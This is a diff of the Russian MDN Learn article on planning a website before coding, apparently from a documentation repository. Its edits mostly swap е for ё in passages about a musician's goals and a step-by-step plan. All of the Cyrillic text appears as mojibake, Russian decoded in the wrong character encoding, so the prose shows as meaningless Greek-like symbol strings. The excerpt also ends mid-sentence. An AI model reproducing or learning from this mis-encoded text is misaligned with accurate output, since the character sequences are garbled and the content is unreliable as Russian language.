Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ? Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ², дСсятки ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… web-сСрвисов способны ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π² достиТСнии Π²Π°ΡˆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ.</p>
+<p>ВСрнёмся ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ. Π£ нас Π΅ΡΡ‚ΡŒ 5 Π·Π°Π΄Π°Ρ‡, связанных с ΠΌΡƒΠ·Ρ‹ΠΊΠΎΠΉ, ΠΎΠ΄Π½Π°Β ΠΈΠ· области Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΆΠΈΠ·Π½ΠΈ (поиск своСй ΠΏΠ°Ρ€Ρ‹), ΠΈ Π½ΠΈ с Ρ‡Π΅ΠΌ Π½Π΅ связанныС Ρ„ΠΎΡ‚ΠΎ ΠΊΠΎΡ‚Π°. Π•ΡΡ‚ΡŒ Π»ΠΈ смысл ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ способСн ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΠΈΡ‚ΡŒ всСм этим трСбованиям? Π’Π°ΠΊ Π»ΠΈ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ? Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ², дСсятки ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… web-сСрвисов способны ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π² достиТСнии Π²Π°ΡˆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ.</p>
-<p>Поиск ΠΏΠ°Ρ€Ρ‹ - главная Π·Π°Π΄Π°Ρ‡Π°, ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ рСсурсы, Ρ‡Π΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свой. ΠŸΠΎΡ‡Π΅ΠΌΡƒ? ΠœΡ‹ ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΠΌ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° созданиС ΠΈ поддСрТаниС сайта Ρ‡Π΅ΠΌ Π½Π° поиск своСй ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠ°Ρ€Ρ‹. Пока эта Ρ†Π΅Π»ΡŒ сохраняСт наибольший ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚, Π»ΠΎΠ³ΠΈΡ‡Π½Π΅Π΅ Ρ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя ΠΈ силы Π½Π° использованиС (освоСниС) ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ инструмСнта, Ρ‡Π΅ΠΌ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ Π΅Π³ΠΎ созданиС с нуля. Аналогично, сущСствуСт достаточноС количСство сайтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ дСмонстрации Ρ„ΠΎΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π° созданиС Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ: это Ρ‚ΠΎΠ³ΠΎ Π½Π΅ стоит.</p>
+<p>Поиск ΠΏΠ°Ρ€Ρ‹ - главная Π·Π°Π΄Π°Ρ‡Π°, ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ рСсурсы, Ρ‡Π΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свой. ΠŸΠΎΡ‡Π΅ΠΌΡƒ? ΠœΡ‹ ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΠΌ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° созданиС ΠΈ поддСрТаниС сайта Ρ‡Π΅ΠΌ Π½Π° поиск своСй ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠ°Ρ€Ρ‹. Пока эта Ρ†Π΅Π»ΡŒ сохраняСт наибольший ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚, Π»ΠΎΠ³ΠΈΡ‡Π½Π΅Π΅ Ρ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя ΠΈ силы Π½Π° использованиС (освоСниС) ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ инструмСнта, Ρ‡Π΅ΠΌ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ Π΅Π³ΠΎ созданиС с нуля. Аналогично, сущСствуСт достаточноС количСство сайтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ дСмонстрации Ρ„ΠΎΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π° созданиС Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ: это Ρ‚ΠΎΠ³ΠΎ Π½Π΅ стоит.</p>
-<p>ΠžΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΡΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡ нСпосрСдствСнно связанны с ΠΌΡƒΠ·Ρ‹ΠΊΠΎΠΉ. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΡƒΠΆΠ΅ достаточно сайтов, ΠΎΠ±Π»Π°Π΄Π°ΡŽΡ‰ΠΈΡ… ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΠΎΠΌ, Π½ΠΎ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ контСкстС ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сайт, посвящСнный ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Π°ΠΌ. ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, сайт - это Π»ΡƒΡ‡ΡˆΠΈΠΉ способ <em>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ всС</em>,Β Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ, Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС (для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΠΎΠ΄ Π½ΠΎΠΌΠ΅Ρ€Π°ΠΌΠΈ 3, 5 ΠΈ 6) ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ срСду для взаимодСйствия ΠΌΠ΅ΠΆΠ΄Ρƒ Π½Π°ΠΌΠΈ ΠΈ ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠΉΒ (для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ 2 ΠΈ 4). Если ΠΏΡ€ΠΎΡ‰Π΅, Ρ‚ΠΎ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ всС эти Π·Π°Π΄Π°Ρ‡ΠΈ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ области, содСрТаниС всСго Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС (Π²Π΅Π±-сайтС) ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ Π² достиТСнии Ρ†Π΅Π»Π΅ΠΉ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ нашим ΠΏΠΎΠΊΠ»ΠΎΠ½Π½ΠΈΠΊΠ°ΠΌ ΡΠ²ΡΠ·Π°Ρ‚ΡŒΡΡ с Π½Π°ΠΌΠΈ.</p>
+<p>ΠžΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΡΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡ нСпосрСдствСнно связанны с ΠΌΡƒΠ·Ρ‹ΠΊΠΎΠΉ. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΡƒΠΆΠ΅ достаточно сайтов, ΠΎΠ±Π»Π°Π΄Π°ΡŽΡ‰ΠΈΡ… ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΠΎΠΌ, Π½ΠΎ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ контСкстС ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сайт, посвящённый ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Π°ΠΌ. ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, сайт - это Π»ΡƒΡ‡ΡˆΠΈΠΉ способ <em>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ всС</em>,Β Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ, Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС (для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΠΎΠ΄ Π½ΠΎΠΌΠ΅Ρ€Π°ΠΌΠΈ 3, 5 ΠΈ 6) ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ срСду для взаимодСйствия ΠΌΠ΅ΠΆΠ΄Ρƒ Π½Π°ΠΌΠΈ ΠΈ ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠΉΒ (для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ 2 ΠΈ 4). Если ΠΏΡ€ΠΎΡ‰Π΅, Ρ‚ΠΎ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ всС эти Π·Π°Π΄Π°Ρ‡ΠΈ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ области, содСрТаниС всСго Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС (Π²Π΅Π±-сайтС) ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ Π² достиТСнии Ρ†Π΅Π»Π΅ΠΉ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ нашим ΠΏΠΎΠΊΠ»ΠΎΠ½Π½ΠΈΠΊΠ°ΠΌ ΡΠ²ΡΠ·Π°Ρ‚ΡŒΡΡ с Π½Π°ΠΌΠΈ.</p>
-<p>Как способСн сайт ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΌΠ½Π΅ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΌΠΎΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹? ΠžΡ‚Π²Π΅Ρ‚ΠΈΠ² Π½Π° это, Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠ΅Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для сСбя ΠΈ ΡƒΠ±Π΅Ρ€Π΅ΠΆΠ΅Ρ‚Π΅ΡΡŒ ΠΎΡ‚ Ρ‚Ρ€Π°Ρ‚Ρ‹ усилий Π²ΠΏΡƒΡΡ‚ΡƒΡŽ.</p>
+<p>Как способСн сайт ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΌΠ½Π΅ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΌΠΎΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹? ΠžΡ‚Π²Π΅Ρ‚ΠΈΠ² Π½Π° это, Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠ΅Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для сСбя ΠΈ ΡƒΠ±Π΅Ρ€Π΅ΠΆΡ‘Ρ‚Π΅ΡΡŒ ΠΎΡ‚ Ρ‚Ρ€Π°Ρ‚Ρ‹ усилий Π²ΠΏΡƒΡΡ‚ΡƒΡŽ.</p>
<h3 class="highlight-spanned" id="Π§Ρ‚ΠΎ_ΠΈ_Π²_ΠΊΠ°ΠΊΠΈΠ΅_сроки_Π΄ΠΎΠ»ΠΆΠ½ΠΎ_Π±Ρ‹Ρ‚ΡŒ_Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ_для_достиТСния_Ρ†Π΅Π»Π΅ΠΉ"><span class="highlight-span">Π§Ρ‚ΠΎ ΠΈ Π² ΠΊΠ°ΠΊΠΈΠ΅ сроки Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ для достиТСния Ρ†Π΅Π»Π΅ΠΉ?</span></h3>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡƒΠΆΠ΅ ΡƒΠ·Π½Π°Π»ΠΈ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π° самом Π΄Π΅Π»Π΅ Π½ΡƒΠΆΠ½ΠΎ, настало врСмя ΡΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π½, Ρ€Π°ΡΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ваши Ρ†Π΅Π»ΠΈ Π½Π° нСбольшиС Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠΌΡ‹Π΅ шаги. Π•Ρ‰Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС ваши ΠΏΠ»Π°Π½Ρ‹ Π½Π΅ Π΅ΡΡ‚ΡŒ Π΄ΠΎΠ³ΠΌΡ‹. Они постоянно ΡΠ²ΠΎΠ»ΡŽΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‚ вмСстС с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ курса ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ссли Π²Ρ‹ Π²Π΄Ρ€ΡƒΠ³ вспомнитС ΠΎ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Ρ€Π°Π½Π΅Π΅ Π½Π΅ΡƒΡ‡Ρ‚Π΅Π½Π½ΠΎΠΌ, ΠΈΠ»ΠΈ просто ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ своС Π²ΠΈΠ΄Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡƒΠΆΠ΅ ΡƒΠ·Π½Π°Π»ΠΈ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π° самом Π΄Π΅Π»Π΅ Π½ΡƒΠΆΠ½ΠΎ, настало врСмя ΡΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π½, Ρ€Π°ΡΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ваши Ρ†Π΅Π»ΠΈ Π½Π° нСбольшиС Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠΌΡ‹Π΅ шаги. Π•Ρ‰Ρ‘ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС ваши ΠΏΠ»Π°Π½Ρ‹ Π½Π΅ Π΅ΡΡ‚ΡŒ Π΄ΠΎΠ³ΠΌΡ‹. Они постоянно ΡΠ²ΠΎΠ»ΡŽΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‚ вмСстС с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ курса ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ссли Π²Ρ‹ Π²Π΄Ρ€ΡƒΠ³ вспомнитС ΠΎ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Ρ€Π°Π½Π΅Π΅ Π½Π΅ΡƒΡ‡Ρ‚Ρ‘Π½Π½ΠΎΠΌ, ΠΈΠ»ΠΈ просто ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ своё Π²ΠΈΠ΄Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°.</p>
-<p>Как водится, Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Π΅ΠΌ сто Ρ€Π°Π· ΡƒΡΠ»Ρ‹ΡˆΠ°Ρ‚ΡŒ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ вСрнСмся ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ:</p>
+<p>Как водится, Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Π΅ΠΌ сто Ρ€Π°Π· ΡƒΡΠ»Ρ‹ΡˆΠ°Ρ‚ΡŒ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ вСрнёмся ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ:</p>
<table class="standard-table">
<thead>
@@ -147,7 +147,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding
<li>ΠŸΡ€ΠΈΠ³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ ΠΈΡ…</li>
<li>Π Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² ΠΌΠ°Π³Π°Π·ΠΈΠ½Π΅</li>
<li>Найти способ доставки</li>
- <li>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ с ΠΏΠ»Π°Ρ‚Π΅ΠΆΠ½ΠΎΠΉ систСмой</li>
+ <li>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ с ΠΏΠ»Π°Ρ‚Ρ‘ΠΆΠ½ΠΎΠΉ систСмой</li>
<li>Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ способ Π΄Π΅Π»Π°Ρ‚ΡŒ Π·Π°ΠΊΠ°Π·Ρ‹ Π½Π° вашСм сайтС</li>
</ol>
</td>
@@ -167,10 +167,10 @@ translation_of: Learn/Common_questions/Thinking_before_coding
<p><strong>Π”Π²Π° Π²Π°ΠΆΠ½Ρ‹Ρ… замСчания.</strong></p>
-<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих Π·Π°Π΄Π°Ρ‡ Π½Π΅ привязаны ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, запись ΠΌΡƒΠ·Ρ‹ΠΊΠΈ ΠΈΠ»ΠΈ написаниС статСй). И ΠΎΡ‡Π΅Π½ΡŒ часто Ρ‚Π°ΠΊΠΈΠ΅ "ΠΎΡ„Π»Π°ΠΉΠ½" Π²Π΅Ρ‰ΠΈ ΠΈΠ³Ρ€Π°ΡŽΡ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ€ΠΎΠ»ΡŒ Π² достиТСнии Ρ†Π΅Π»Π΅ΠΉ, Ρ‡Π΅ΠΌ сам сайт. Π’ ΠΏΡ€ΠΎΠ΄Π°ΠΆΠ°Ρ…, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Π³ΠΎΡ€Π°Π·Π΄ΠΎ большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ Ρ‚ΡΠΆΠ΅Π»ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ вопросов доставки, ΠΎΠΏΠ»Π°Ρ‚Ρ‹ ΠΈ налогооблоТСния, Ρ‡Π΅ΠΌ нСпосрСдствСнная рСализация сайта с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ оформлСния Π·Π°ΠΊΠ°Π·ΠΎΠ².</p>
+<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих Π·Π°Π΄Π°Ρ‡ Π½Π΅ привязаны ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, запись ΠΌΡƒΠ·Ρ‹ΠΊΠΈ ΠΈΠ»ΠΈ написаниС статСй). И ΠΎΡ‡Π΅Π½ΡŒ часто Ρ‚Π°ΠΊΠΈΠ΅ "ΠΎΡ„Π»Π°ΠΉΠ½" Π²Π΅Ρ‰ΠΈ ΠΈΠ³Ρ€Π°ΡŽΡ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ€ΠΎΠ»ΡŒ Π² достиТСнии Ρ†Π΅Π»Π΅ΠΉ, Ρ‡Π΅ΠΌ сам сайт. Π’ ΠΏΡ€ΠΎΠ΄Π°ΠΆΠ°Ρ…, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Π³ΠΎΡ€Π°Π·Π΄ΠΎ большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ Ρ‚ΡΠΆΡ‘Π»ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ вопросов доставки, ΠΎΠΏΠ»Π°Ρ‚Ρ‹ ΠΈ налогооблоТСния, Ρ‡Π΅ΠΌ нСпосрСдствСнная рСализация сайта с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ оформлСния Π·Π°ΠΊΠ°Π·ΠΎΠ².</p>
<p>Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, написаниС ΠΏΠ»Π°Π½Π° ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹Π΅ вопросы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΎΠΆΠ΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΠΎΡ‚Π²Π΅Ρ‚Π°Ρ…. И, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, этих вопросов большС Ρ‡Π΅ΠΌ рассмотрСно Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅. (К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ· ΠΏΠ»Π°Π½Π° ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ ΠΈΠ· Π·Π½Π°ΠΊΠΎΠΌΡ‹Ρ… ΠΈΠ»ΠΈ придётся ΠΏΡ€ΠΈΠ±Π΅Π³Π½ΡƒΡ‚ΡŒ ΠΊ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΡ… Π»ΠΈΡ†?)</p>
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Как стало понятно, простая ΠΌΡ‹ΡΠ»ΡŒ "А Π½Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π»ΠΈ ΠΌΠ½Π΅ сайт?" ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΈ ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΎΠ±Π΄ΡƒΠΌΡ‹Π²Π°Π½ΠΈΠΈ ΠΎΠ½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ растСт. Π’ скором ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ большой, Π½ΠΎ это Π½Π΅ ΠΏΠΎΠ²ΠΎΠ΄ для ΠΏΠ°Π½ΠΈΠΊΠΈ. Π’Ρ‹ Π½Π΅ обязаны ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Π½Π° <em>всС </em>вопросы, Π° Ρ‚Π°ΠΊΠΆΠ΅ 